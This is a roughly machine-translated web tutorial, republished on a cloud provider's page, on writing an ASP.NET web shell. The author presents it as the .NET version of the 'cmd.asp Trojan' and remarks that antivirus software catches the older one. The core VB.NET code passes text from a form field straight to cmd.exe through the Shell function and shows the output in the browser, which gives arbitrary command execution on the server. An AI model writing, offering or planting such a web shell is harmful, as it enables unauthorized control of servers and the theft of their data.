cmd command execution under the ASP.NET environment

Source: Internet
Author: User
Tags execution integer net
Asp.net| Execute cmd.asp Trojan You must have used it. This is a can execute CMD command ASP file (but to be killed by antivirus software ^_^). The principle is to use the Wscript.Shell object to invoke Cmd.exe, and then put the returned information to a temporary file, and then use the FSO to read the temporary file information displayed in the browser.





Oh, in the ASP.net environment can also write a similar program. But you can not use those objects.





vb.net has a shell function that can execute external programs. Oh, is to use it! Now look at the introduction of Microsoft's. NET Framework SDK:

















Shell function


namespaces: Microsoft.VisualBasic


Module: Interaction


assembly: Microsoft Visual Basic. NET Runtime (located in Microsoft.VisualBasic.dll)


runs an executable program, and if the program is still running, returns an integer containing the program's process ID.


Public Function Shell (_


ByVal Pathname as String, _


Optional ByVal Style as AppWinStyle = AppWinStyle.MinimizedFocus, _


Optional ByVal wait as Boolean = False, _


Optional ByVal Timeout as Integer =-1 _


) as Integer


parameter


Pathname


Required option. String. The name of the program to execute and any required parameters and command-line switches. Pathname can also include drives and directory paths or folders.


Style


can be selected. AppWinStyle. The value selected from the AppWinStyle enumeration that corresponds to the window style in which the program is to be run. If you omit Style, the Shell uses AppWinStyle.MinimizedFocus, which causes the program to start minimized and has focus.

The
Style parameter can have one of the following settings:


enumeration Value Description


appwinstyle.hide hides the window and provides focus for the hidden window.


Appwinstyle.normalfocus provides the focus for the window and displays the window in the nearest size and position.


AppWinStyle.MinimizedFocus provides the focus for the window and displays the window as an icon.


Appwinstyle.maximizedfocus provides the focus for the window and displays the window in Full-screen mode.


Appwinstyle.normalnofocus Sets the window to the nearest size and position. The current active window remains focused.


Appwinstyle.minimizednofocus Displays the window as an icon. The current active window remains focused.





wait


can be selected. Boolean. A value that indicates whether the Shell function should wait for the program to complete. If wait is omitted, the Shell uses False.


Timeout


can be selected. Integer. The number of milliseconds waiting to complete when wait is True. If Timeout is omitted, the shell uses-1 to indicate no timeout, and the shell does not return until the program completes. Therefore, if you omit Timeout or set it to-1, the Shell may never return control to the program.











Well, you look so handsome, you must understand ^_^





now look at the core code:


Dim But as String


Dim tempfile As String=server. MapPath (".") & "\" & "Test.txt"


Shell ("cmd.exe/c" & Cmd.text & ">" & tempfile,,true,-1)


Dim myread As New StreamReader (Tempfile,encoding.default)


But=myread.readtoend


But=replace (But, "<", "<")


But=replace (But, ">", ">")


result.text= "<pre>" & But & "</pre>"


Myread.close


if File.exists (tempfile) then


File.delete (tempfile)


End If




The
key is the shell ("cmd.exe/c" & Cmd.text & ">" & tempfile,,true,20000), which is to invoke Cmd.exe and wait for the program to finish executing. Note: If you're running a command that needs to wait (like date), that's a bad one. Then temporarily delete the temporary document Test.txt ... And I can't carry out any more orders. I do not know whether the master can solve this problem, thank you first.





another: VB also has a shell function, but I used in ASP file but not, hehe





To say a ha, my system winxp,iis5.1,.netframeworksdk1.1


Full program cmd.aspx attached








Related Article

Contact Us

The content source of this page is from Internet, which doesn't represent Alibaba Cloud's opinion; products and services mentioned on that page don't have any relationship with Alibaba Cloud. If the content of the page makes you feel confusing, please write us an email, we will handle the problem within 5 days after receiving your email.

If you find any instances of plagiarism from the community, please send an email to: info-contact@alibabacloud.com and provide relevant evidence. A staff member will contact you within 5 working days.

A Free Trial That Lets You Build Big!

Start building with 50+ products and up to 12 months usage for Elastic Compute Service

  • Sales Support

    1 on 1 presale consultation

  • After-Sales Support

    24/7 Technical Support 6 Free Tickets per Quarter Faster Response

  • Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.